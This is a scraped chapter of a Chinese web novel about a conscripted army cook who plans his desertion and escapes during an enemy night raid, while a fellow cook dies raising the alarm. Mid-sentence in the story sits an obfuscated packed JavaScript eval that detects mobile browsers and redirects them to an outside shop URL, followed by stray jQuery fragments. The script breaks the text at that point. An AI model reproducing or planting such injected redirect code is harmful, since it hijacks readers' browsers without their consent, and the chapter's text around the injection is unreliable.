默认冷灰
24号文字
方正启体

10. 成功逃跑

作者:朱碧成本书字数:K更新时间:
    “二狗,衣服补好了?”


    陈风抬眼往营帐门口看去。


    来人是肖启生,原本是个裁缝。


    当初两人凑在一起闲聊,陈风套出他的话,他是在朝廷征兵的时候代替自己儿子来的。


    “儿子刚当爹,我已经活了大半辈子,就算死在战场,也已经活够本。孙子还小,离不开爹娘。”他顿了顿,把陈风手上的衣服自然接过。


    “我儿子学艺不精,我在军营,他做衣服没人在旁边看着,祖宗传下来的手艺不知道会不会断送在我这里。可惜不能陪在大孙身边,没办法教他手艺,如果我能活着回去,定要把看家本领教给我大孙。”他嘴里絮絮叨叨,手上功夫倒是半点不含糊。不一会儿就看不出一点修补痕迹,原本破损的地方被他绣了几片竹叶。


    明明只是聊家常,从他嘴里说出来却带着江南口音的软,总让人疑心他一个大男人在撒娇。


    四十出头,瘦的像竹竿,手指却长的很好看,骨节分明,指甲修剪的干干净净。


    “保养好双手,是一个裁缝对布料的尊重,要对自己的手艺保有敬畏之心,方能在这这一行长久的讨一口饭吃”。说起自己的手艺,肖启生总是滔滔不绝,眼里全是热爱的光。


    原本陈风对此不屑一顾。


    第一次注意到肖启生是因为他的名字,报名字的时候他总是把腰杆挺得笔直,好像说的不是一个伙夫的名号,而是什么了不得的大人物。


    营里发下来的衣服不合身,他拿根烧火棍在灶灰里划线,一针一线把衣服改了,改完往身上一套更不像个伙夫了。


    陈风是被抓来的。刚来的时候登记名字,他随口报了个李二狗,籍贯填的也是逃难之前家乡的籍贯,加上他特意显露的父亲在世时的乡音,很容易就蒙混过关。从来的那天起,他就没想过要留下来,家里阿武才刚出生,小月一个女人要拉扯三个孩子谈何容易。


    他只想活下去,不想建功立业。伙房是他最好的去处,肖启生则是因为瘦得像麻杆,百夫长疑心他拿不动兵器,被分来和他一起做饭。


    陈风无时无刻不在想着逃跑。


    军营里条件艰苦,半年来除了正常的巡防,日子很平静。


    一天两顿饭,劈柴挑水,洗锅刷碗。哪怕就是这些琐事,肖启生也是做得认认真真,他做饭时总是仔仔细细地淘米,尽可能的把米里混杂的谷壳和小石子挑选干净,嘴里总念叨:“训练辛苦,总要让娃娃们吃好饭。”


    稍有空闲,他就满山溜达,采集野菜给将士们碗里添个菜。偶尔从行军粮里省出一把盐,腌些萝卜条,分给营里几个新兵。


    陈风跟着肖启生一起去采野菜,他记下肖启生的每一个习惯,记住林子里走过的每一条路,这是一个猎人的本能。


    只要有空闲,陈风就会在营帐周围转悠,记住哨兵的换班时辰,观察营盘防守的薄弱之处。


    陈风知道最近就是他的机会,夏天山林茂密,食草动物都膘肥体壮,他只要往林子里一躲,旁人就很难找到他,也不用担心猛兽袭击,毕竟猛兽现在的捕食对象是温驯的食草动物。


    北边那条沟,冬天干涸,夏天积雨,杂草长得齐腰深,顺着沟就能摸到河滩,过了河就是山路,只要往林子里跑翻过几道山梁,一直往南走大约十天他就能回家。


    他这几天一直在有意识地藏盐,吃的林子里好解决,没有盐在林子里可活不下去,他每次只拿一点,用油纸包起来。


    又是一个十五日,难得的晴天,明月高悬,陈风想小月和孩子了。


    当初买下小月只是一时心软,想着一个姑娘家无父无母,一条命捏在伯父手里。自己买了她,给口饭吃当个妹子养着也行。


    两个孤儿要走在一起是很容易的事,小月到这个家的第三个月,突然有一天她开口:“陈风哥,你是不是嫌弃我?”


    此时陈风是懵的:“你怎么会这么想?”


    “你买我回来不就是做你婆姨?我跟你回家三个月,你都没有和我成婚的打算,不是嫌弃我是什么?”


    一切都顺理成章,没有宴请宾客,只是在村长的见证下,请人写了一份婚书到衙门记档,当天两人就睡一个被窝了,没多久三个孩子接连出生。


    小月性子柔软,家里打理的井井有条,却鲜少与外人交流,成婚多年村里还有许多人没见过她。


    想到这里陈风更难入睡,他们家本身就是外来户,在陈家村没有任何根基,小月又是这样的性子,不行,他无论如何都要早点回去。


    今夜他们被安排守食材,也许是他陡然急促的呼吸影响了旁边的肖启生,也许是翻身的动静太大,肖启生开口问道:“二狗,你是哪里人”。


    “西京”。蚊子太多,陈风用袖子赶蚊子,他索性坐起来,月光抚上来,照得他的一张脸半明半暗。


    “那是好远的地方。”


    “嗯”。可不是,当初父亲带着他逃难,九死一生走了好几个月才到汀州安顿下来,母亲的身子也因此熬坏了,没多久就去世了。


    “往家走要几天”?


    陈风没有回答。他低头看着自己手上磨出来的茧子,心想:老子翻过那道山梁,再走上几天就能回家。这些事只能烂在肚子里,告诉他那是自寻死路,逃兵是要被处以绞刑的。


    肖启生不再问,远处蛐蟀声“唧~唧~”扰得人心烦。


    最近营里的伙食突然变好,将军带领将士们对周围的猎物进行了一次围杀,带回许多野山羊和梅花鹿肉。


    夏天的羊皮和鹿皮虽然不如冬天的品质上乘,硝制好之后也是制作靴子的上好材料,看着大头兵们粗暴处理猎物,陈风在心里大呼可惜。


    今天哪怕是最下等的兵士也饱餐了一顿,陈风知道这并不是什么好事,开战前进行动员,让士兵们吃顿好的,既是奖励也可能是饯行,谁也不知道是否能从战场上活着回来。


    这天,陈风借着打水的由头往那条沟走去,他在那边已经藏好了盐和一副弓箭,提着两只桶悠闲地往沟边走,路上碰到巡逻的兵士他还停下来打招呼。一切看起来和往常没有什么两样,如果仔细看会发现,冷汗浸湿了他的后背。


    就在他渐渐走出巡逻兵的视线范围时,“二狗,今天的菜还没洗,你与我一起抬到河边去。”


    被发现了。这只是陈风的猜测,他走的方向并不是往常打水的河边,要怎么把这件事糊弄过去,大战前逃跑动摇军心,陈风一旦被发现,免不了祭旗的下场。


    未等他开口,肖启生走近他:“我知道你想跑,那个方向昨晚新增了一道岗哨,就是防止有人在大战前夕逃跑动摇军心。”


    陈风额头布满冷汗,果然没过多久那个方向就传来一阵骚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540062|203914||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    动,哨兵抓住了几个试图逃跑的兵丁,他们也不负众望被祭旗了。


    “谢谢你这次救了我,我是被抓来的家里就我一个成年男子,我婆娘带着三个孩子,我要是不回去他们是活不下去的,他们上面大人物争权夺利凭什么要用我们的命去填。”


    肖启生只是拍了拍他的肩膀,什么也没说。


    一招不慎,满盘皆输,只能等待下一次机会。陈风没想到机会来的这样快,接到西军总兵的命令,他们要去与西军汇合,方便两边夹击敌人。


    兵马未动,粮草先行,伙夫们最先接到开拔信息,拔营前夜,营盘最乱,物资要装车,文书要焚烧,哨兵会被调去帮忙,这是最容易溜走的时机。


    今夜他准备往军队开拔的反方向走,只要钻进林子他就不用担心被找到。


    那天夜里,他提早躲在北沟的草丛里。月亮被云遮住了,四周黑得像锅底,他怀揣着从伙房偷来的干粮和用于防身的柴刀,心跳得很快,手心全是汗。


    草甸里蚊虫众多,还有长虫,他在身上涂满了驱蛇药粉却没有涂驱蚊水,不一会儿他脸上和手上裸露出来的皮肤上就布满一个个鼓包。他要耐心蛰伏,只有等到子时过后人困马乏,避开守卫过河就能进山。


    突然前面传来悉悉索索的声音,陈风屏住呼吸紧紧握住柴刀。越来越近了,是熟悉的脚步声,肖启生!他也准备在今夜逃走?!如果不是,这个人实在是太可怕,先前居然没发现他也想跑。


    陈风一直不出声,却没想到借着夜色的掩护,肖启生沿着他走过的路线摸过来了:“二狗~”他压着嗓音,陈风迫于无奈,要是让他就这样找下去,两个人暴露的风险可就太大了。


    “别喊,我在这儿!”陈风快速腾挪过去,一把捂住肖启生的嘴巴,在他耳边低吼。


    两人一同躲在草甸里,就在陈风眼神示意他怎么会跟过来时,他敏锐的听到远处传来一阵奇怪的声音,常年混迹在林子里,陈风对林子里的每一种声音都了如指掌,这声音不对!是人,还是很多人,在压低声响往营地接近。


    陈风瞬间头皮发麻。


    “趴下,有敌人夜袭!”他压低嗓音示意肖启生。


    这里距离军营一里多地,哨兵大约已被暗杀,前进就会遭遇敌人,后退则这次逃跑就要以失败告终。这两天天气晴朗,草甸足够干燥,跑回去报信来不及了,索性放一把火再趁乱离开。


    他一通比划,肖启生也明白了他的意图,两人把身上打湿,往熟悉的路线走,用打火石点燃身边的干草,干草点燃两人拔腿往河边跑。


    陈风一个劲往前跑,根本没顾得上肖启生,没想到他在起火后拼尽全力喊出“敌——”,“袭”字还未落下,身后就被箭矢射中,在倒下之前用最后的力气喊出“袭——”


    火光和肖启生的示警声炸开在夜空里,像一颗滚烫的石头砸进平静的湖里。营地里立刻炸锅,锣声、号声、喊叫声同时响起来。兵刃交击的声音从四面八方涌上来。


    陈风只是往回看了一眼,就头也不回的往河边走。


    他该跑的,谋划了那么久,家里婆娘和孩子还等着他回去。他是被抓来的,是家里唯一的成年男丁,自己没有做错任何事。


    嘴里叼着一根通心草茎,他慢慢沉入水里,直到河面看不出一丝涟漪,只有一根草茎在往对岸移动。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)